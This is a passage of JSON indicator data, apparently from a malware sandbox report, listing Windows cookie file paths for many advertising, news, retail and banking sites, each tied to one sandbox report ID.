"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@stat.eol[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@state[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@steelhousemedia[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@stumbleupon[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sundaysky[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@suning[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sunrtb[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@surveymonkey[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sxp.smartclip[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@symantec[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@sync.shinobi[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@t-online[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@t.dailymail.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@t.myvisualiq[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@t.qservz[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@t.tailtarget[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@taboola[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tacoda.at.atwola[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tanx[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tap-secure.rubiconproject[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tap.rubiconproject[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tap2-cdn.rubiconproject[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tapad[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@targetix[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tealiumiq[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@technologycraze[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ted.dailymail.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@telegraph.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tenpay[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@terra.com[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@teufel[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@thefreedictionary[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@theguardian[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@theweathernetwork[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tiexue[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@timeanddate[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@time[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tinypass[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tinypic[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tmall[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tod.thebestawardsever[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@today[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tomtom[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@torrentz[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@toshiba[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tracead[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@track.adform[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tracking.mlsat02[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tradedoubler[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tradelab[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@travel.rakuten.co[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@travelocity[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@travelzoo[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@trc.taboola[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tremorhub[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tribalfusion[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tt-10709-3.seg.t.tailtarget[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tubemogul[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@turn[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tvguide[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@tw.yahoo[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@twitter[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ucoz[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@udn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@union2.50bang[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@union2.50bang[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@union2.50bang[4].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@united[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@univide[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@uplift-platform[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@ups.xplosion[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@us.24h.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@usaa[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@usbank.tt.omtrdc[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@usbank[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@verizon.inq[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@verizonwireless[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@vietbao[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@viewster[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@vimeo[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@vindicosuite[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@virgilio[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@virgul[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@visualdna[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@vizury[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@vk[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@vlion[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@voicefive[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@vsc.send.microad[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@vsemtube[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@w55c[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@washingtonpost[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@weather[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@webmasterplan[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@weborama[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@weborama[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@webs[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@wellsfargo[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@wheretowatch[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@wikia[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@wireshark[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@wizard101[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@wls.wireless.att[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@wls.wireless.att[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@wordpress[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@wtp101[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@wwe[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.636[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.91[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.addthis[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.adnetworkperformance[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.adp[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.aeriagames[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.alexa[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.americanas.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.aol[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.aol[3].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.att[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.baixaki.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.barbie[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.biglobe.ne[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.bing[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.bloomberg[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.booking[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.break[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.caixa.gov[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.cbs[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.chase[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.citi[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.cncn[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.corriere[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.daily.co[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.delta[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.delta[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.discovercard[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.eol[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.eonline[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.etsy[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.evite[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.fixya[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.foxsports[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.freeonlinegames[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.gamezer[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.gazeta[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.girlsgogames[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.goo.ne[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.hurriyet.com[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.ichwillkuehe[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.ifeng[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.ig.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.ikea[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.immobilienscout24[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.inbox[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.instagram[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.intel[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.itau.com[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.jetblue[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.jiayuan[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.jiayuan[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.kayak[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.kayak[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.kohls[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.last[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.leboncoin[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.lenovo[2].txt","sources":[{"report_type":"sandbox","report_id":"5a257e367ca3e116684a7875"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\%OSUSER%@www.le[1].txt","sources":[{"report_type":"sandbox","report_id":"5a257